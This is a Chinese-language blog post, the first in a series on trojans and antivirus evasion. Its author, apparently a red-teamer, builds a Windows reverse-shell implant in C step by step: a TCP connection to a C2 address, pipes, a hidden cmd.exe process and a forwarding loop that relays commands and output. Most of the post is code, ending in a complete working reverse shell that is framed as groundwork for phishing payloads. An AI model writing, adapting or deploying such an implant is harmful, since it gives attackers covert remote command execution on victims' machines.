从木马到免杀(一)

接触网络安全以来一直在学些Web方向的东西,在真实渗透场景中做外围打点工作比较多。但从近年攻防演练来看,想通过Web打点突破网络边界是越来越难的,木马钓鱼反而愈发成为更加高效的手段。此前了解不多,趁最近工作不繁忙,可以试着借助AI点点这方面的技能树了,聊以记录。

🎯学习目标:木马免杀

🛠️当前阶段:理解木马底层原理,实现能跑通的木马

📌当前主线:网络链管道链进程链转发循环细节实现

网络链——反向连接的建立

要获取目标机的shell,第一步必须先在攻击机和目标机之间起TCP连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <winsock2.h>		//socket相关声明。winsock2.h需要在windows.h之前
#include <windows.h>

#define C2_IP "127.0.0.1"
#define C2_PORT 4444

int main(void) {
WSADATA wsa; //WSADATA结构体,装有winsock的信息
WSAStartup(MAKEWORD(2, 2), &wsa); //使用2.2版本winsock,将ws2_32.dll加载进进程,而Windows的网络功能就在ws2_32.dll里

SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //IPV4,字节流,TCP,返回一个SOCKET

struct sockaddr_in addr; //连接信息
addr.sin_family = AF_INET; //IPV4
addr.sin_port = htons(C2_PORT); //将小端存储的数据转为网络传输标准的大端
addr.sin_addr.s_addr = inet_addr(C2_IP); //IP字符串转为二进制

connect(s, (struct sockaddr *)&addr, sizeof(addr)); //建立连接

return 0;
}

管道链——获取cmd的输入输出

拿到socket s后,就需要解决下一个问题,如何将自己的输入变成cmd的命令,cmd的输出如何返回到攻击机。因为cmd的I/O逻辑是固定的,从“标准输入”读命令(默认是键盘),再把结果写到“标准输出”中(默认为屏幕),所以我们需要把“键盘”换成程序写的入口,“屏幕”换成程序读的出口,这里就要用到管道了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <stdio.h>

int main(void) {
//创建“可共享对象”
SECURITY_ATTRIBUTES sa; //声明空配置单
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE; //允许子进程继承
sa.lpSecurityDescriptor = NULL;

HANDLE hInR, hInW; //输入管道两端
HANDLE hOutR, hOutW; //输出管道两端

//建输入管道:命令流入cmd用
if (!CreatePipe(&hInR, &hInW, &sa, 0)) {
return 1;
}

//建输出管道:cmd结果流出用
if (!CreatePipe(&hOutR, &hOutW, &sa, 0)) { //读端句柄,写端句柄,配置单,缓冲区大小(0,默认4096)
CloseHandle(hInR); //输出管道建立失败时,要关闭已建的输入管道
CloseHandle(hInW);
return 1;
}

//写入端写数据,读端读出来
const char msg[] = "hello pipe";
DWORD written = 0, readcnt = 0; //写、读大小
char buf[64] = {0}; //接收缓冲区,全0初始化

WriteFile(hInW, msg, sizeof(msg), &written, NULL); //写进输入管道
ReadFile(hInR, buf, sizeof(buf), &readcnt, NULL); //从读端取回
printf("[*] wrote %lu bytes, read back: \"%s\" (%lu bytes)\n",
written, buf, readcnt);

CloseHandle(hInR);
CloseHandle(hInW);
CloseHandle(hOutR);
CloseHandle(hOutW);
return 0;
}

进程链——创建cmd.exe进程

socket s和4个管道句柄hInW、hInR、hOutW、hOutR已经准备完毕,下一步需要创建cmd.exe进程,并把管道接到stdin/stdout上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#define C2_IP "127.0.0.1"
#define C2_PORT 4444

int main(void) {
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return 1;

//建立连接
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(C2_PORT);
addr.sin_addr.s_addr = inet_addr(C2_IP);
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) return 1;

//创建管道
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

HANDLE hInR, hInW, hOutR, hOutW;
CreatePipe(&hInR, &hInW, &sa, 0);
CreatePipe(&hOutR, &hOutW, &sa, 0);

//拉取cmd
STARTUPINFO si; //新进程启动信息
PROCESS_INFORMATION pi; //进程启动结果
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES; //打开“使用指定句柄”的开关
si.hStdInput = hInR; //指定cmd的stdin
si.hStdOutput = hOutW; //指定cmd的stdout
si.hStdError = hOutW; //指定报错输出

CreateProcessA(NULL, "cmd.exe", NULL, NULL, //CreateProcessA针对ANSI,应用场景W版本较多
TRUE, //开启继承
CREATE_NO_WINDOW, //隐藏黑窗
NULL, NULL, &si, &pi);

//父进程关掉交给cmd的那两个管道端,一是留着没用,二是管道读端要等写端全部关闭才能产生EOF,hOutW是输出管道的写端,如果cmd退出后,父进程的hOutW还没有关闭,读端hOutR就一直等不到
CloseHandle(hInR);
CloseHandle(hOutW);

return 0;
}

转发循环——数据双车道

距离能交互的反向shell,还差一步——让数据能在socket和cmd之间双向流动,即:

1
2
命令:C2 ➜ socket ➜ 植入端 ➜ 写hInW ➜ cmd
输出:cmd ➜ 读取hOutR ➜ 植入端 ➜ socket ➜ C2

那么完整代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#define C2_IP "127.0.0.1"
#define C2_PORT 4444

int main(void) {
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return 1;

//建立连接
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(C2_PORT);
addr.sin_addr.s_addr = inet_addr(C2_IP);
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) return 1;

//创建管道
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

HANDLE hInR, hInW, hOutR, hOutW;
CreatePipe(&hInR, &hInW, &sa, 0);
CreatePipe(&hOutR, &hOutW, &sa, 0);

//拉取cmd.exe
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hInR;
si.hStdOutput = hOutW;
si.hStdError = hOutW;

char cmdLine[] = "cmd.exe";
if (!CreateProcessA(NULL, cmdLine, NULL, NULL,
TRUE,
CREATE_NO_WINDOW,
NULL, NULL, &si, &pi)) {
printf("[!] CreateProcess failed\n");
CloseHandle(hInR); CloseHandle(hInW);
CloseHandle(hOutR); CloseHandle(hOutW);
closesocket(s);
WSACleanup();
return 1;
}

//关闭父进程中已经交给cmd的端
CloseHandle(hInR);
CloseHandle(hOutW);

//转发循环
for (;;) {
//通过select查看有没有命令从C2过来
fd_set rfds;
FD_ZERO(&rfds); //清空集合
FD_SET(s, &rfds); //填入socket
struct timeval tv = {0, 100000}; //100ms超时

if (select(0, &rfds, NULL, NULL, &tv) > 0 && FD_ISSET(s, &rfds)) {
char buf[8192];
int n = recv(s, buf, sizeof(buf), 0);
if (n <= 0) break;
DWORD written = 0;
WriteFile(hInW, buf, n, &written, NULL); //把命令交给hInW,通过管道喂给cmd
}

//通过PeekNamedPipe查看cmd有无输出
DWORD avail = 0;
if (PeekNamedPipe(hOutR, NULL, 0, NULL, &avail, NULL) && avail > 0) {
char out[8192];
DWORD got = 0;
ReadFile(hOutR, out, sizeof(out), &got, NULL);
send(s, out, got, 0); //输出发回C2
}
}

//退出并清理
TerminateProcess(pi.hProcess, 0); //杀掉cmd
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hInW);
CloseHandle(hOutR);
closesocket(s);
WSACleanup();
return 0;
}

PS:本文代码主要帮助理解木马原理,未经编译测试~